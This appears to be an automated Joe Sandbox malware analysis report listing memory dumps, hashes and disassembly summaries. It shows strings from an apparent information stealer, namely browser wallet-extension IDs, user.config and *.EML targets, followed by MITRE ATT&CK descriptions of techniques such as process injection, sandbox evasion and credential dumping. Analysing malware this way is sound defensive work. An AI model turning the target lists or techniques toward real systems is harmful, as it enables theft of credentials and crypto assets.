Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 31de4476d966f59a7ed400e818b78320befe43897931cff9e25d1c181c803a50
Instruction ID: ca115962b6e4085b0bdfffef26ddf971018f8874cb73b1f68f1ebffcae2b11e0
Opcode Fuzzy Hash: 31de4476d966f59a7ed400e818b78320befe43897931cff9e25d1c181c803a50
Instruction Fuzzy Hash: E9110636A00218DBCB15FF98C4849BD77A5AF84360B548065FE16A7352DB70ED41CFD0

Function 00AEB92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 00AEB94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AEB961

Strings

pContext, xrefs: 00AEB959

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: de4cca71cfcfe6f0ca2768d23cdce048d70cb1c0110478cf1f735b246d2e9022
Instruction ID: f4c122e841dadd8e3707df639aac9852bd871e6b7178830e1e9155320bd6fbaf
Opcode Fuzzy Hash: de4cca71cfcfe6f0ca2768d23cdce048d70cb1c0110478cf1f735b246d2e9022
Instruction Fuzzy Hash: FEE0D139B0010897CB04F7A5D959CDDB7BD9EC47207448155F611A3351DF70D945C5D0

Function 00AE34CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AE34FC

Strings

pScheduler, xrefs: 00AE34F4
version, xrefs: 00AE34E1

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 8547242b8f55ee562852997d34ef4c790de75a35b7ee05c1d2b3c344a873eda0
Instruction ID: fa44d730f90f3d157e1715b1aa2e06d86b9b7527ed6072f97aa4370d7d005d6f
Opcode Fuzzy Hash: 8547242b8f55ee562852997d34ef4c790de75a35b7ee05c1d2b3c344a873eda0
Instruction Fuzzy Hash: 5CE08C3584024CB6CF26FB5AD84BADC77A89B1070AF94C162B911220E19BF497C8CA81

Analysis Process: 0tClIDb.exePID: 7872, Parent PID: 7672COMMON

Non-executed Functions

Function 00C91AEA Relevance: 31.6, Strings: 25, Instructions: 340COMMON

Download Yara Rule

Strings

fcfcfllfndlomdhbehjjcoimbgofdncg, xrefs: 00C91B8A
abogmiocnneedmmepnohnhlijcjpcifd, xrefs: 00C91B5A
cjelfplplebdjjenllpjcblmjkfcffne, xrefs: 00C91B0E, 00C91CCE
fhbohimaelbohpjbbldcngcnapndodjp, xrefs: 00C91B96
acmacodkjbdgmoleebolmdjonilkdbch, xrefs: 00C91D22
jgaaimajipbpdogpdglhaphldakikgef, xrefs: 00C91C32
aiifbnbfobpmeekipheeijimdpnlpgpp, xrefs: 00C91E06
nhnkbkgjikgcigadomkphalanndcapjk, xrefs: 00C91CE6
kncchdigobghenbbaddojjnnaogfppfj, xrefs: 00C91CFE
efbglgofoippbgcjepnhiblaibcnclgk, xrefs: 00C91CC3
nkbihfbeogaeaoehlefnkodbefgpgknn, xrefs: 00C91C93
aeblfdkhhhdcdjpifhhbdiojplfjncoa, xrefs: 00C91C62
amkmjjmmflddogmhpjloimipbofnfjih, xrefs: 00C91D8E
user.config, xrefs: 00C91B6E
aflkmfhebedbjioipglgcbcmnbpgliof, xrefs: 00C91DFA
bhghoamapcdpbohphigoooaddinpkbai, xrefs: 00C91E36
mnfifefkajgofkcjkemidiaecocnkjeh, xrefs: 00C91DBE
ejjladinnckdgjemekebdpeokbikhfci, xrefs: 00C91D3B
nngceckbapebfimnlniiiahkandclblb, xrefs: 00C91D6B
nanjmdknhkinifnkgdcggcfnhdaammmj, xrefs: 00C91B02
kppfdiipphfccemcignhifpjkapfbihd, xrefs: 00C91BC6
jnlgamecbpmbajjfhmmmlhejkemejdma, xrefs: 00C91B67
bcopgchhojmggmffilplmbdicgaihlkp, xrefs: 00C91E4E
dkdedlpgdmmkkfjabffeganieamfklkm, xrefs: 00C91DD6
jbdaocneiiinmjbjlgalhcelgbejmnid, xrefs: 00C91B4E

Memory Dump Source

Source File: 00000007.00000003.2605530053.0000000000C85000.00000004.00000020.00020000.00000000.sdmp, Offset: 00C85000, based on PE: false

Associated: 00000007.00000003.2568225666.0000000000C85000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_c85000_0tClIDb.2.jbxd

Similarity

API ID:
String ID: abogmiocnneedmmepnohnhlijcjpcifd$acmacodkjbdgmoleebolmdjonilkdbch$aeblfdkhhhdcdjpifhhbdiojplfjncoa$aflkmfhebedbjioipglgcbcmnbpgliof$aiifbnbfobpmeekipheeijimdpnlpgpp$amkmjjmmflddogmhpjloimipbofnfjih$bcopgchhojmggmffilplmbdicgaihlkp$bhghoamapcdpbohphigoooaddinpkbai$cjelfplplebdjjenllpjcblmjkfcffne$dkdedlpgdmmkkfjabffeganieamfklkm$efbglgofoippbgcjepnhiblaibcnclgk$ejjladinnckdgjemekebdpeokbikhfci$fcfcfllfndlomdhbehjjcoimbgofdncg$fhbohimaelbohpjbbldcngcnapndodjp$jbdaocneiiinmjbjlgalhcelgbejmnid$jgaaimajipbpdogpdglhaphldakikgef$jnlgamecbpmbajjfhmmmlhejkemejdma$kncchdigobghenbbaddojjnnaogfppfj$kppfdiipphfccemcignhifpjkapfbihd$mnfifefkajgofkcjkemidiaecocnkjeh$nanjmdknhkinifnkgdcggcfnhdaammmj$nhnkbkgjikgcigadomkphalanndcapjk$nkbihfbeogaeaoehlefnkodbefgpgknn$nngceckbapebfimnlniiiahkandclblb$user.config
API String ID: 0-3309931341
Opcode ID: db890e31b948491473c2d8bc526832f7a78d97f7eae1d8d6c81c496bf84bc293
Instruction ID: bd77cd5af01435dc650ebd15b5f3051fcfda6f85a18bd1262a18c724f142feb3
Opcode Fuzzy Hash: db890e31b948491473c2d8bc526832f7a78d97f7eae1d8d6c81c496bf84bc293
Instruction Fuzzy Hash: 33D1DDAA80E3C25FD7038B345C7A6907FB09E13218B5E49DBC4D1CF1E3E258894AD766

Function 00C920D3 Relevance: 21.4, Strings: 17, Instructions: 179COMMON

Download Yara Rule

Strings

kncchdigobghenbbaddojjnnaogfppfj, xrefs: 00C9216A, 00C92174
Important Files/Profile/Music, xrefs: 00C922BA
hdokiejnpimakedhajhdlcegeplioahd, xrefs: 00C9227E
bfnaelmomeimhlpmgjnjophhpkkoljpa, xrefs: 00C9212E
aeblfdkhhhdcdjpifhhbdiojplfjncoa, xrefs: 00C922A2, 00C922A3
amkmjjmmflddogmhpjloimipbofnfjih, xrefs: 00C921A6, 00C92234
ejbalbakoplchlghecdalmeeeajnimhm, xrefs: 00C922AE
fnjhmkhhmkbjkkabndcnnogagogbneec, xrefs: 00C9221E
cpojfbodiccabbabgimdeohkkpjfpbnf, xrefs: 00C92182
blnieiiffboillknjnepogjhkgnoapac, xrefs: 00C9213A
lpfcbjknijpeeillifnkikgncikgfhdo, xrefs: 00C9210A
phkbamefinggmakgklpkljjmgibohnba, xrefs: 00C92117
jnlgamecbpmbajjfhmmmlhejkemejdma, xrefs: 00C9222A
lgmpcpglpngdoalbgeoldeajfclnhafa, xrefs: 00C92266
*.EML, xrefs: 00C9226E
acmacodkjbdgmoleebolmdjonilkdbch, xrefs: 00C9215E
fijngjgcjhjmmpcmkeiomlglpeiijkld, xrefs: 00C920E6

Memory Dump Source

Source File: 00000007.00000003.2605530053.0000000000C85000.00000004.00000020.00020000.00000000.sdmp, Offset: 00C85000, based on PE: false

Associated: 00000007.00000003.2568225666.0000000000C85000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_c85000_0tClIDb.2.jbxd

Similarity

API ID:
String ID: *.EML$Important Files/Profile/Music$acmacodkjbdgmoleebolmdjonilkdbch$aeblfdkhhhdcdjpifhhbdiojplfjncoa$amkmjjmmflddogmhpjloimipbofnfjih$bfnaelmomeimhlpmgjnjophhpkkoljpa$blnieiiffboillknjnepogjhkgnoapac$cpojfbodiccabbabgimdeohkkpjfpbnf$ejbalbakoplchlghecdalmeeeajnimhm$fijngjgcjhjmmpcmkeiomlglpeiijkld$fnjhmkhhmkbjkkabndcnnogagogbneec$hdokiejnpimakedhajhdlcegeplioahd$jnlgamecbpmbajjfhmmmlhejkemejdma$kncchdigobghenbbaddojjnnaogfppfj$lgmpcpglpngdoalbgeoldeajfclnhafa$lpfcbjknijpeeillifnkikgncikgfhdo$phkbamefinggmakgklpkljjmgibohnba
API String ID: 0-3779506016
Opcode ID: 582338fe2b8336528323320cfc5a778c542c91b4d4c9e645413adcfe698aa251
Instruction ID: d7125680f5783dc32a38ff735665dd7b03d7511991862ad267af318c28f880a4
Opcode Fuzzy Hash: 582338fe2b8336528323320cfc5a778c542c91b4d4c9e645413adcfe698aa251
Instruction Fuzzy Hash: 4B7146A640E3C10FE7034B749C7A6917FB09F13218B1E45DBC8D0CF2A3D618985ADB26

Function 00C9218B Relevance: 10.1, Strings: 8, Instructions: 109COMMON

Download Yara Rule

Strings

Important Files/Profile/Music, xrefs: 00C922BA
hdokiejnpimakedhajhdlcegeplioahd, xrefs: 00C9227E
aeblfdkhhhdcdjpifhhbdiojplfjncoa, xrefs: 00C922A3
amkmjjmmflddogmhpjloimipbofnfjih, xrefs: 00C921A6
ejbalbakoplchlghecdalmeeeajnimhm, xrefs: 00C922AE
lgmpcpglpngdoalbgeoldeajfclnhafa, xrefs: 00C92266
*.EML, xrefs: 00C9226E
fnjhmkhhmkbjkkabndcnnogagogbneec, xrefs: 00C9221E

Memory Dump Source

Source File: 00000007.00000003.2605530053.0000000000C85000.00000004.00000020.00020000.00000000.sdmp, Offset: 00C85000, based on PE: false

Associated: 00000007.00000003.2568225666.0000000000C85000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_c85000_0tClIDb.2.jbxd

Similarity

API ID:
String ID: *.EML$Important Files/Profile/Music$aeblfdkhhhdcdjpifhhbdiojplfjncoa$amkmjjmmflddogmhpjloimipbofnfjih$ejbalbakoplchlghecdalmeeeajnimhm$fnjhmkhhmkbjkkabndcnnogagogbneec$hdokiejnpimakedhajhdlcegeplioahd$lgmpcpglpngdoalbgeoldeajfclnhafa
API String ID: 0-3692001205
Opcode ID: 988042b20bd2c76e8da765ab0c3bff6ed82ee8a9b7777c64b055586f33928a8d
Instruction ID: 232ab18f6b9d1d74f78d208e8b1720eab0c81588202530cdf6a7cffb6ce83746
Opcode Fuzzy Hash: 988042b20bd2c76e8da765ab0c3bff6ed82ee8a9b7777c64b055586f33928a8d
Instruction Fuzzy Hash: DD4108A640E3C14FE7034B749C7A691BFB09F13218B5E49DBC4C0CF2A3D218984ADB26

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
